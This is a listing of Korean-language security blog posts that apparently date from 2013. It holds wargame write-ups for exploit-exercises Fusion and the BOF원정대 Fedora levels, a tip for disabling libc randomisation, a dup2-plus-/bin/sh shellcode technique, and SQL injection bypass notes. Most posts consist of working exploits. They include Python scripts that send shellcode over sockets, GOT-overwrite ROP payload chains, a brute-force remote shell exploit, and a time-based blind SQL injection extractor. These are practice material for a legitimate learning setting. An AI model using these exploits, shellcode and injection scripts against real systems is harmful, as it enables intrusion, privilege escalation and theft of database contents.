검색결과 리스트
Security에 해당되는 글 12건
- 2013.05.31 [exploit-exercises] Fusion level 01
- 2013.05.31 [exploit-exercises] Fusion level 00 (3)
- 2013.05.29 libc 주소 randomization 해제 트릭 (1)
- 2013.05.09 [BOF원정대/Fedora4] dark_stone -> cruel
- 2013.05.09 [BOF원정대/Fedora3] evil_wizard -> dark_stone (4)
- 2013.05.07 [BOF원정대/Fedora3] hell_fire -> evil_wizard (10)
- 2013.04.22 리버스쉘과 바인드쉘이 안될때 대처법 (dup2+/bin/sh)
- 2013.01.21 SQL injection addslashes, utf-8 변환시 우회법 (4)
- 2013.01.15 LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3)
- 2013.01.15 Time-based Blind Injection
글
from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20001)) #raw_input("go? ") buf = "" buf += "GET " buf += "\x90"*139 buf += pack('<I',0x8049f4f) # jmp esp buf += "\x90" *100 buf += shellcode buf += " HTTP/1.1" s.send(buf) s.send("id\n") get = s.recv(1024) print get s.close()
'Computer Security > WarGame' 카테고리의 다른 글
[exploit-exercises] Fusion level 03 (0) | 2013.07.11 |
---|---|
[exploit-exercises] Fusion level 02 (0) | 2013.07.09 |
[exploit-exercises] Fusion level 01 (0) | 2013.05.31 |
[exploit-exercises] Fusion level 00 (3) | 2013.05.31 |
[exploit-exercises] ssh setting (0) | 2013.05.31 |
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
트랙백
댓글
글
from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20000)) print s.recv(1024) #raw_input("go? ") buf = "" buf += "GET " buf += "\x90"*139 buf += "\x5c\xa1\xf8\xbf" buf += "\x90" *100 buf += shellcode buf += " HTTP/1.1" s.send(buf) s.send("id\n") get = s.recv(1024) print get s.close()
'Computer Security > WarGame' 카테고리의 다른 글
[exploit-exercises] Fusion level 02 (0) | 2013.07.09 |
---|---|
[exploit-exercises] Fusion level 01 (0) | 2013.05.31 |
[exploit-exercises] Fusion level 00 (3) | 2013.05.31 |
[exploit-exercises] ssh setting (0) | 2013.05.31 |
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
트랙백
댓글
글
local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다.
$ ulimit -s unlimited
를 이용하면 된다.
(단, 32비트 리눅스에서만 가능하다고 한다.)
$ ldd a linux-gate.so.1 => (0xb7768000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000) /lib/ld-linux.so.2 (0xb7769000) $ ldd a linux-gate.so.1 => (0xb772f000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000) /lib/ld-linux.so.2 (0xb7730000) $ ulimit -s unlimited $ ldd a linux-gate.so.1 => (0x4001d000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000) /lib/ld-linux.so.2 (0x40000000) $ ldd a linux-gate.so.1 => (0x4001d000) libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x40032000) /lib/ld-linux.so.2 (0x40000000) |
'Computer Security > System' 카테고리의 다른 글
CVE-2013-2094 리눅스 로컬권한상승 취약점 (7) | 2013.08.06 |
---|---|
Race Condition one-shot exploit (1) | 2013.08.02 |
시스템함수를 통한 리버스텔넷 (추가) (1) | 2013.07.11 |
Hindering ROP Using In-Place Code Randomization (2) | 2013.06.26 |
libc 주소 randomization 해제 트릭 (1) | 2013.05.29 |
리버스쉘과 바인드쉘이 안될때 대처법 (dup2+/bin/sh) (0) | 2013.04.22 |
트랙백
댓글
글
/* The Lord of the BOF : The Fellowship of the BOF - cruel - Local BOF on Fedora Core 4 - hint : no more fake ebp, RET sleding on random library */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
random library이긴 하지만, 경우의수가 별로 없다. 그냥 주소 하나를 잡고 될때까지 하면 되므로 별로 신경 안써도 된다.
공격방법은 ret sleding을 이용한다.
ret주소(“\x51\x84\x04\x08”)와 execve의 주소(“\xbc\x2a\x83\x00”)를 알아내고, ret의 갯수를 하나씩 늘려가면서 시도해본다
계속 반복하다가, ret을 열두개 넣었을때 execve의 두번째 인자부터 0이다.
$ strace ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` >& result $ xxd result | grep cve -A 4 ... 0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20 ecve("..uSe.T", 0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320 [0], [/* 0 vars 0000660: 2a2f 5d29 2020 3d20 2d31 2045 4e4f 454e */]) = -1 ENOEN 0000670: 5420 284e 6f20 7375 6368 2066 696c 6520 T (No such file 0000680: 6f72 2064 6972 6563 746f 7279 290a 2d2d or directory).--
그러므로, 해당 파일이름을 만들어주고, 그 파일에서 쉘을 실행시킨다.
$ cat sh.c int main() {
setreuid(geteuid(), geteuid()); system("/bin/sh"); } $ gcc sh.c -o sh $ ln -s sh `perl -e 'print "\x85\xc0\x75\x53\x65\xa1\x54"'`
그리고나서, exploit
$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*12+"\xbc\x2a\x83\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQQQQQQQQQQQQ¼*ƒ sh-3.00$ my-pass euid = 501 come on, come over
(random library 이므로, 한번에 성공하지 못할수도 있다. 두세번 더 시도하면 성공한다.)
'Computer Security > WarGame' 카테고리의 다른 글
[exploit-exercises] ssh setting (0) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
트랙백
댓글
글
/* The Lord of the BOF : The Fellowship of the BOF - dark_stone - Remote BOF on Fedora Core 3 - hint : GOT overwriting again - port : TCP 8888 */ #include <stdio.h> // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main() { char buffer[256]; char saved_sfp[4]; int length; char temp[1024]; printf("dark_stone : how fresh meat you are!\n"); printf("you : "); fflush(stdout); // give me a food fgets(temp, 1024, stdin); // for disturbance RET sleding length = strlen(temp); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, temp); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); // buffer cleaning memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000); printf("%s\n", buffer); }
다른점은 remote 라는것밖에 다른게 없다.
슈퍼데몬이라서 공격방법은 똑같고, 소켓으로 보내는점만 다르다.
이전 단계의 exploit에서 주소들만 수정해주고, 소켓으로 보내면 된다.
import os import struct from socket import * def L_E(number): return struct.pack('<I',number) PPR = 0x80484f3 # pop-pop-ret STRCPY = 0x8048438 MEMCPY = 0x8048418 MEMCPY_GOT = 0x8049850 BINSH = 0x8049878 str_c0 = 0x80484c8+8 str_07 = 0x8048178+4 str_75 = 0x80482b4 str_00 = 0x8048138 str_slash = 0x8048114 str_b = 0x8048114+3 str_i = 0x8048114+2 str_n = 0x8048114+10 str_s = 0x8048740+6 str_h = 0x80481b4+4 payload = 'A'*268 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT) payload += L_E(str_c0) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+1) payload += L_E(str_07) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+2) payload += L_E(str_75) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+3) payload += L_E(str_00) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH) payload += L_E(str_slash) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+1) payload += L_E(str_b) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+2) payload += L_E(str_i) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+3) payload += L_E(str_n) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+4) payload += L_E(str_slash) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+5) payload += L_E(str_s) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+6) payload += L_E(str_h) payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+7) payload += L_E(str_00) payload += L_E(MEMCPY) payload += "AAAA" payload += L_E(BINSH) s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',8888)) s.send(payload+'\n') print s.recv(1024) while True: cmd = raw_input('$ ') if cmd == 'exit': s.close() break s.send(cmd+'\n') result = s.recv(1024) print result s.close()
$ python exploit.py dark_stone : how fresh meat you are! you : $ my-pass euid = 505 let there be light
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |
트랙백
댓글
글
/* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); } // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); }
evil_wizard.c
이번엔 드디어 pop-pop-ret이 있다.
최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.
시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.
hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...
원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,
자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.
여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.
공격순서는
1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.
2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.
3. system("/bin/sh")를 실행시킨다.
pop-pop-ret의 주소 알아내기
$ objdump -d evil_wizard | grep pop -A 1 ... 804854f: 58 pop %eax 8048550: 58 pop %eax 8048551: c3 ret ...
memcpy got의 주소와 system의 주소 알아내기
$ objdump -h evil_wizard | grep got 19 .got 00000004 08049868 08049868 00000868 2**2 20 .got.plt 00000038 0804986c 0804986c 0000086c 2**2 $ gdb -q evil_wizard (gdb) b *main+319 (gdb) r 1 (gdb) x/10x 0x804986c 0x804986c <_GLOBAL_OFFSET_TABLE_>: 0x080497a0 0x007194f8 0x0070e9e0 0x00783d70 0x804987c <_GLOBAL_OFFSET_TABLE_+16>: 0x007d98f0 0x00730d50 0x0075e660 0x007854c0 0x804988c <_GLOBAL_OFFSET_TABLE_+32>: 0x007d9860 0x0804845a (gdb) print memcpy $1 = {<text variable, no debug info>} 0x7854c0 <memcpy> (gdb) x/x 0x8049888 0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0 (gdb) print system $2 = {<text variable, no debug info>} 0x7507c0 <system> (gdb) print strcpy $2 = {<text variable, no debug info>} 0x783880 <strcpy> (gdb) x/i 0x8048494 0x8048494 <_init+200>: jmp *0x80498a0 (gdb) x/x 0x80498a0 0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>: 0x00783880
memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.
또, /bin/sh를 넣기위한 공간을 구한다.
$ objdump -h evil_wizard | grep bss 22 .bss 00000004 080498b0 080498b0 000008b0 2**2 $ gdb -q evil_wizard (gdb) b *main Breakpoint 1 at 0x8048554 (gdb) r 1 Starting program: /home/hell_fire/evil_wizard 1 (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048554 in main () (gdb) x/10x 0x080498b0 0x80498b0 <completed.1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498d0: 0x00000000 0x00000000
/bin/sh은 0x80498c0 정도에 넣도록 하겠다.
그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.
찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h
$ objdump -s evil_wizard | grep 00 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep 75 ... 80486f4 0000005b 81c37511 00008d83 20ffffff ...[..u..... ... ... $ objdump -s evil_wizard | grep 07 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep c0 ... 8048524 ec08a19c 97040885 c07419b8 00000000 .........t...... ... $ objdump -s evil_wizard | grep / 8048114 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so ... $ objdump -s evil_wizard | grep h ... 804836c 68980408 060d0000 h....... ...
전부 알아냈으니, 이제 exploit
import os import struct def L_E(number): return struct.pack('<I',number) PPR = 0x804854f # pop-pop-ret STRCPY = 0x8048494 MEMCPY = 0x8048434 MEMCPY_GOT = 0x8049888 BINSH = 0x80498C0 payload = 'A'*268 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT) payload += L_E(0x8048524+8) # c0 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+1) payload += L_E(0x8048148+12) # 07 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+2) payload += L_E(0x80486f4+6) # 75 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+3) payload += L_E(0x8048148+1) # 00 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+1) payload += L_E(0x8048114+3) # b payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+2) payload += L_E(0x8048114+2) # i payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+3) payload += L_E(0x8048114+10) # n payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+4) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+5) #payload += L_E(0x8048114+14) # s payload += L_E(0x8048780+5) # s payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+6) payload += L_E(0x804836c) # h payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+7) payload += L_E(0x8048148+1) # 00 payload += L_E(MEMCPY) payload += "AAAA" payload += L_E(BINSH) os.system('./evil_wizard '+payload)
$ python exploit.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜ sh-3.00$ my-pass euid = 504 get down like that
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |
트랙백
댓글
글
CTF를 풀때 정말 난감한 환경들이 있다.
예를들어, 특히 우리학교.
우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다.
이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데
dup2+쉘을 이용하면 가능하다.
dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데
원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다.
dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다.
이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다.
그래서, dup2 쉘코드를 먼저 실행시킨후, 특정 명령을 하는 쉘코드를 실행하고, 그 결과를 stdout으로 출력하면, 프린트 결과물이 이미 연결되어있는 소켓을 통해 공격자의 컴퓨터로 전송이 된다.
64비트용과 32비트용의 dup2 쉘코드 예제를 보겠다.
# ndisasm -b 64 test 00000000 4831C0 xor rax,rax 00000003 B021 mov al,0x21 ; dup2 콜 번호를 설정한다. 00000005 4831FF xor rdi,rdi 00000008 40B708 mov dil,0x8 ; fd 번호를 설정한다. 0000000B 4831F6 xor rsi,rsi 0000000E 48FFC6 inc rsi ; rsi를 1로 맞춰서 stdout에 맞춘다. 00000011 0F05 loadall286 |
64비트 (stdout만 변경)
# ndisasm -b 32 test 00000000 31C9 xor ecx,ecx 00000002 B102 mov cl,0x2 00000004 31DB xor ebx,ebx 00000006 B341 mov bl,0x41 ; fd 번호를 설정한다. (여기선 41) 00000008 31C0 xor eax,eax 0000000A B03F mov al,0x3f ; dup2 시스템콜 번호를 설정한다. 0000000C CD80 int 0x80 0000000E 49 dec ecx 0000000F 79F7 jns 0x8 |
32비트 (stdin,stdout,stderr 모두 변경)
시스템콜번호는 OS마다 다를수도 있으니, 잘 안되면 정확히 확인해봐야 한다.
(지금까지 확인해본 결과로는, 32비트에서는 모두 0x3f로 동일했다.)
그리고, fd값을 구하는 법에 대해서 고민해봤는데,
찾아보니 3이후의 값을 하나씩 넣어보는 사람도 있었고,
좀더 좋은방법은 결국 fd값도 변수일테니, 그 변수의 위치를 찾아서 ebx에 넣어줘도 된다.
(근데, fork를 사용하는 binary의 경우는 어짜피 정해져있기때문에 하나씩 넣어보는것이 편하다.)
그리고나서 metasploit툴에서 제공하는 msfvenom을 이용해 커맨드쉘을 만들고, dup2 뒤에 덮붙이면 된다.
./msfvenom -p linux/x86/exec CMD="/bin/id" -b '\x0a\x00'
좀더 나아가서,
아니면 아예 위에서 보듯이 32비트같은 경우는, 모두 연결해놨기때문에, 리버스텔넷이나 바인드쉘과 같은 효과를 낼수도 있다.
위의 dup2루프 쉘코드와 execve("/bin/sh")를 합쳐서 페이로드로 사용하면 된다.
fd = ?? shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" |
(41바이트 / python)
실험을 해보기위해서, BoF 원정대의 death_knight의 소스를 가져와서 테스트를 해보았다.
/* The Lord of the BOF : The Fellowship of the BOF - dark knight - remote BOF */ #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h> #include <netinet in.h> #include <sys/socket.h> #include <sys/wait.h> main() { char buffer[40]; int server_fd, client_fd; struct sockaddr_in server_addr; struct sockaddr_in client_addr; int sin_size; if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ perror("socket"); exit(1); } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(6666); server_addr.sin_addr.s_addr = INADDR_ANY; bzero(&(server_addr.sin_zero), 8); if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){ perror("bind"); exit(1); } if(listen(server_fd, 10) == -1){ perror("listen"); exit(1); } while(1) { sin_size = sizeof(struct sockaddr_in); if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){ perror("accept"); continue; } if (!fork()){ send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); send(client_fd, "You : ", 6, 0); recv(client_fd, buffer, 256, 0); close(client_fd); break; } close(client_fd); while(waitpid(-1,NULL,WNOHANG) > 0); } close(server_fd); }
death_knight.c
우분투의 환경에서 컴파일 했기때문에, 각종 방어기법을 해제하기 위해서 컴파일 옵션을 줬다.
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 death_knight.c |
추가로, ASLR을 제거해준다.
echo "0" > /proc/sys/kernel/randomize_va_space |
그리고, /proc/프로세스아이디/fd 를 체크해보면 알겠지만, accept의 소켓번호는 4번이다.
그러므로, exploit을 작성해보면
from socket import * import sys import time fd = 4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" shellcode = shellcode.replace("\x41", chr(fd)) shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" breakall=0 for a in range(0xff,0x01,-1): for b in range(0x00, 0xff, 100): #print hex(a) + hex(b) payload = "" payload += "\x90"*52 payload += chr(b)+chr(a)+"\xff\xbf" # return address payload += "\x90"*100 payload += shellcode s=socket(AF_INET,SOCK_STREAM) s.connect(('127.0.0.1',6666)) while "You" not in s.recv(1024): pass time.sleep(0.0001) s.send(payload) s.send('id\n') get = s.recv(1024) #if get: print get if get.find('id') is not -1: while True: cmd = raw_input('$ ') if cmd == 'exit': s.close() breakall = 1 break s.send(cmd+'\n') result = s.recv(1024) print result s.close() else: s.close() if breakall == 1: break if breakall == 1: break
# python exploit.py $ id uid=0(root) gid=0(root) groups=0(root) |
'Computer Security > System' 카테고리의 다른 글
CVE-2013-2094 리눅스 로컬권한상승 취약점 (7) | 2013.08.06 |
---|---|
Race Condition one-shot exploit (1) | 2013.08.02 |
시스템함수를 통한 리버스텔넷 (추가) (1) | 2013.07.11 |
Hindering ROP Using In-Place Code Randomization (2) | 2013.06.26 |
libc 주소 randomization 해제 트릭 (1) | 2013.05.29 |
리버스쉘과 바인드쉘이 안될때 대처법 (dup2+/bin/sh) (0) | 2013.04.22 |
트랙백
댓글
글
php mysql에서 addslashes를 이용해서 인젝션을 차단하고 있거나,
euc-kr을 utf-8로 변환을 하는 작업이 있을경우, 멀티바이트를 이용해서 우회가 가능합니다.
두가지 케이스 모두 솔루션은 같으므로, 한번에 설명하겠습니다.
addslashes는 입력스트링 중에 quote(') 가 있다면 앞에 \를 붙여줌으로써, " \' " 로 변환됩니다.
그래서, quote를 소용없게 만드는것이죠.
하지만, 멀티바이트로 보내면 소용이 없습니다.
예를 들어 url encoding 구문으로 %bf%27을 보낸다면, (%27이 quote입니다.)
%bf%5C%27 로 변하게 되고. (%5C가 \ 입니다.)
결국, %bf%5C 가 한글자로 읽히게 됩니다. (유니코드이기 때문에.)
그리고 %27이 \의 간섭을 안받고 자유가 됨으로써, sql injection이 가능합니다.
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |
트랙백
댓글
글
(Only mysql)
Blind SQL injection은 아무래도 브루트포싱이다보니, 한글자를 알아내기까지 많은 쿼리를 보내야합니다.
빠릿빠릿한 서버라면, 별 상관없을수도 있지만. 느린서버를 공략할때는 너무 답답합니다.
하지만, LPAD,bin,ascii와 같은 함수들을 이용하면, 쿼리의 횟수를 확 줄일수 있습니다.
기존의 방법대로라면 한글자를 알아내기까지 최대 약 70개정도의 쿼리를 보내야 한다면.
이 방법을 사용했을땐, 8번의 쿼리만으로 글자를 알아낼수 있습니다.
함수들을 설명해드리면,
ascii는 캐릭터를 숫자로 변환하는 함수입니다.
ex) 'A' -> 65, 'a' -> 94, '0' ->48
bin은 숫자를 2진법 형태의 스트링으로 변환하는 함수입니다.
ex) 12 -> '1100', 65->'1000001'
LPAD는 글자수를 맞춰주고, 모자란만큼 왼쪽에 특정 스트링을 채워넣는 함수입니다. (아마 Left Padding의 약자인것 같습니다.)
LPAD(스트링,글자수,채울 스트링)
ex) LPAD('1',8,0) -> '00000001', LPAD('1010',8,0) -> '00001010'
그래서 항상 글자수를 8글자로 유지해주는 함수입니다.
대충 감이 오실겁니다.
이 방법은,
1. 글자 하나를 substring 해온다.
2. substring해온 글자를 숫자로 바꾼다.
3. 바꾼 숫자를 2진법으로 바꾼다.
4. 8글자로 맞춰준다.
그래서 8글자를 하나하나 확인함으로써, 한글자를 알아낼수 있는것이죠.
처음 봤을때 정말 감탄했던 방법입니다.
예제 python 코드를 보여드리겠습니다.
Time-based Blind SQL Injection을 혼합한 형태입니다.
(살짝 수정을해서, 복붙하면 제대로 돌아갈지는 모르겠네요.)
import httplib,urllib; import time # Blind SQL injection # setting conn = httplib.HTTPConnection("www.??????.com",80) conn.connect() toget = '[타겟 컬럼]' answer = "" length=[글자 길이] k = 1 m = 1 i = 0 while 1: query = "if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1) = '1',SLEEP(2),1)" t1 = time.time() params = urllib.urlencode({'id':query,'pw':'abc'}) conn.putrequest('GET','/?????/??????.php?'+params) conn.endheaders() response = conn.getresponse() data = response.read() t2 = time.time() if (t2-t1) >= 2: # if it is true i += pow(2,8-m) print str(m)+" "+str(i) if m is 8: answer = answer+chr(i) print "Find: " + answer k = k+1 i=0 m=1 if k > length: break else: continue m = m+1 print "Answer:" +answer conn.close() |
'Computer Security > Web' 카테고리의 다른 글
XSS subdomain escape wirte up (on Dropbox) (0) | 2015.05.05 |
---|---|
SQL injection addslashes, utf-8 변환시 우회법 (4) | 2013.01.21 |
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (3) | 2013.01.15 |
Time-based Blind Injection (0) | 2013.01.15 |
MySQL Injection에서 LIMIT, quote(따옴표) 우회법 (0) | 2013.01.15 |
SQL Blind Injection (0) | 2013.01.15 |
트랙백
댓글
글
이번에도 문법은 MySQL 기준으로 설명하겠습니다.
Blind SQL injection을 할때, True or False에 따라 결과값이 달라진다면, 간단히 해낼수있지만.
True or False에 따른 화면 결과값이 달라지지 않을때가 있습니다.
그럴땐 if함수와 sleep함수를 이용하면 됩니다.
그리고, 시간을 재야하기 때문에 파이썬등의 스크립트를 이용한 공격이 필수라고 생각됩니다..
Sleep은 대부분 아실텐데, sleep(x) 라면, x초간 멈추는겁니다.
그리고 if함수의 구성을 보자면,
if(조건,참일때 결과값,거짓일때 결과값)
입니다.
